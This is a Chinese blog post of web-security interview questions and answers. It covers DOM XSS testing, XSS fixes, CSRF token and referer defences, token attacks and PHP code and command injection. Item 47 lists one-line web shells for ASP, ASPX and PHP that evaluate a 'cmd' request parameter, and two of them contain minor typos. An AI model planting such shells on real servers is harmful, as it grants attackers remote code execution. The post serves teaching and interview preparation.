安全面试之WEB安全(五)

前言

作者简介:不知名白帽,网络安全学习者。

博客主页:https://blog.csdn.net/m0_63127854?type=blog

安全面试专栏:https://blog.csdn.net/m0_63127854/category_11869916.html

网络安全交流社区:https://bbs.csdn.net/forums/angluoanquan

目录

41.DOM型和XSS自动化测试或人工测试

42.对于XSS怎么修补建议

43.CSRF的防御

44.token和referer做横向对比,谁安全等级高

45.对referer的验证,从什么角度去做?如果做,怎么杜绝问题

46.针对token攻击,你会对token的哪方面进行测试

47.简述你知道的一句话木马

48.简述PHP代码注入和命令注入的成因和危害


41.DOM型和XSS自动化测试或人工测试

人工测试思路:找到类似document. write、innerHTML赋值、outterHTML赋值、window. location操作、写javascript:后内容、eval、setTimeout、setInterval等直接执行之类的函数点。
找到其变量,回溯变量来源观察是否可控,是否经过安全函数。自动化测试参看道哥的博客,思路是从输入入手,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有经过安全函数。但是这样就需要有一个javascript解析器,否则会漏掉一些通过js执行带入的部分内容。

42.对于XSS怎么修补建议

输入点检查:对用户输入的数据进行合法性检查,使用filter过滤敏感字符或对进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。
输出点检查:对变量输出到HTML页面中时,对输出内容进行编码转义,输出在HTML中时,对其进行HTMLEncode,如果输出在Javascript脚本中时,对其进行JavascriptEncode。对使用JavascriptEncode的变量都放在引号中并转义危险字符, data部分就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML的解析会优先于Javascript的解析,编码的方式也需要考虑清楚。除此之外,还有做HTTPOnly对Cookie劫持做限制。

43.CSRF的防御

验证Referer、添加token

44.token和referer做横向对比,谁安全等级高

token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS 跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。但是token的话,要保证其足够随机且不可泄露。

45.对referer的验证,从什么角度去做?如果做,怎么杜绝问题

对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。

46.针对token攻击,你会对token的哪方面进行测试

针对token的攻击,一是对它本身的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,二是结合信息泄露漏洞对它的获取,结合着发起组合攻击。信息泄露有可能是缓存、日志、get,也有可能是利用跨站。很多跳转登录的都依赖token,有一个跳转漏洞加反射型跨站就可以组合成登录劫持了。
另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的。

47.简述你知道的一句话木马

ASP:<%eval request("cmd")%>
ASP.NET:(aspx)
<%@Page Language="Jscript"%>
<%eval(Request. ltem["cmd"],“unsafe”);%>
PHP:<?php@eval($_REQUEST['cmd']):?>

48.简述PHP代码注入和命令注入的成因和危害

PHP中 eval 、 assert 、 call_user_func 等函数会将字符串当作PHP代码执行,且没有对参数进行过滤。应用在调用system等函数时会将字符串拼接到命令行中,且没有过滤用户输入。
PHP注入会使攻击者执行任意代码getshell从而控制网站或服务器。系统注入会使攻击者继承web服务器程序权限执行系统命令、读写文件、反弹shell从而控制整个网站甚至服务器。

猜你喜欢

转载自blog.csdn.net/m0_63127854/article/details/127590027